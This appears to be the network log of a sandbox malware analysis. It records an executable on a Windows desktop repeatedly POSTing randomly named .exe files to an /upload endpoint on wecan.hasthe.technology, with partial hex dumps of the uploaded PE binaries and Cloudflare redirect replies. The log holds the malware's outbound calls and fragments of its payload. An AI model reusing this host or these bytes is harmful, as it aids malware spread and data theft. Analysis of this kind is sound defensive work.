Oct 10, 2024 21:02:48.304466963 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:48 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:48 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FFMpMXSXwnGhAKExa6userE58knxe29%2BfuLKM6KmrVM7a2eklfBpbTHVgQ01u8DKtZjOCEEVyiSttsh2ocQ8Pd3dZusfvfqQr%2BQS2e2EtIvYfAt4wED0sUjzgZN7Xb48kexXUsT9KGFdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dde458738cc5-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50575	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:48.524888039 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------d2280a20484b2b3d
Oct 10, 2024 21:02:49.141793966 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:49.143013000 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 32 32 38 30 61 32 30 34 38 34 62 32 62 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------d2280a20484b2b3dContent-Disposition: form-data; name="file[]"; filename="rifaien2-VzjNx1jPI8EBAf3Q.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:49.143152952 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:49.168200970 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:49.172404051 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:49.172525883 CEST	12360	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:49.172566891 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:49.193011999 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:49.198040962 CEST	21040	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:02:49.198206902 CEST	12360	OUT	Data Raw: b2 06 c7 4d 8e 2a 0f 01 75 13 40 5a 09 c2 04 d4 89 90 6a 6f 47 44 fc fd 95 9e 84 d2 a2 08 c6 80 ed ce 82 82 8e 9d 80 b7 2e 16 11 24 a0 ba 78 ea 46 28 06 50 80 87 94 a2 c0 b9 28 76 2f 75 22 76 90 f3 45 08 5a 44 ae 8a 9f 10 78 89 c2 8b 80 2f 1d d5 Data Ascii: M*u@ZjoGD.$xF(P(v/u"vEZDx/=.t%=/D=u \YbwNPL4u+=c;Bt:u"[XU&Ezd\|CGTn^a>TdZ:
Oct 10, 2024 21:02:49.215107918 CEST	4944	OUT	Data Raw: 86 d8 85 1e 20 48 14 5a 48 45 41 b0 fa 8e fe 44 00 47 45 54 00 50 df 00 50 55 54 00 2a 96 ec 37 14 f4 66 65 72 65 72 3a 08 34 f0 df cd 60 c6 75 63 63 65 70 74 2d 45 6e 63 57 67 2b db 28 6e 67 10 2e 54 c6 32 71 c0 5c 73 48 28 63 68 cf 23 42 fc 1a Data Ascii: HZHEADGETPPUT7ferer:4`uccept-EncWg+(ng.T2q\sH(ch#BCy ;3F+3 E ][]q3e`o}%cA: e/,vSweek&b6aRtqwinput6+te`nRX\[C+ ( 0-/l
Oct 10, 2024 21:02:50.141838074 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:49 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVFYf%2BaInB%2FqPMy623yhuNE9fnW5jFdXO3vST%2FNWe3H%2Fva0Oe5jltY4ZI%2Frl%2B%2FMKKik70FauTho8pm1S1KMLiQAH4DYQ1g2BzliQXU2asNIQAdAGhZ%2Fj7iB5z%2F8%2FX%2FCVd%2FCZd6pmBKTKBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddeccd827c82-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:02:50.145647049 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:49 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVFYf%2BaInB%2FqPMy623yhuNE9fnW5jFdXO3vST%2FNWe3H%2Fva0Oe5jltY4ZI%2Frl%2B%2FMKKik70FauTho8pm1S1KMLiQAH4DYQ1g2BzliQXU2asNIQAdAGhZ%2Fj7iB5z%2F8%2FX%2FCVd%2FCZd6pmBKTKBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddeccd827c82-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:02:50.145766020 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:49 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVFYf%2BaInB%2FqPMy623yhuNE9fnW5jFdXO3vST%2FNWe3H%2Fva0Oe5jltY4ZI%2Frl%2B%2FMKKik70FauTho8pm1S1KMLiQAH4DYQ1g2BzliQXU2asNIQAdAGhZ%2Fj7iB5z%2F8%2FX%2FCVd%2FCZd6pmBKTKBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddeccd827c82-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50581	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:50.329658031 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------58e6070edb4102f1
Oct 10, 2024 21:02:50.830281973 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:50.830966949 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 38 65 36 30 37 30 65 64 62 34 31 30 32 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------58e6070edb4102f1Content-Disposition: form-data; name="file[]"; filename="rifaien2-E8VR5WWssDiJ6hpJ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:50.831175089 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:50.840054989 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:50.840095997 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:50.840632915 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:50.840662956 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:50.840697050 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:50.840732098 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:50.840764046 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:50.840792894 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:51.143297911 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:51 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:51 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2r6x4wYrYaHcRzfkmP60j8%2BhS34BBWsPRy2qoDaR6WxHg3yc4IXOJ9iHh05tm4yVUX%2FEEZJ%2BIlASsc3FiMXBcN8adV0pqB7habzsmuS869NSLzX1%2BFVc06rJ1VnEL7Qu%2B2K%2BAp3%2BykOCBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08ddf779875e67-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50587	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:51.284782887 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e8d4e7c41e278816
Oct 10, 2024 21:02:51.763618946 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:51.764719009 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 38 64 34 65 37 63 34 31 65 32 37 38 38 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e8d4e7c41e278816Content-Disposition: form-data; name="file[]"; filename="rifaien2-WbnLg1fQUOoUplSV.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:51.764935017 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:51.774929047 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:51.775612116 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:51.775655985 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:51.775684118 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:51.777288914 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:51.777317047 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:51.777343035 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
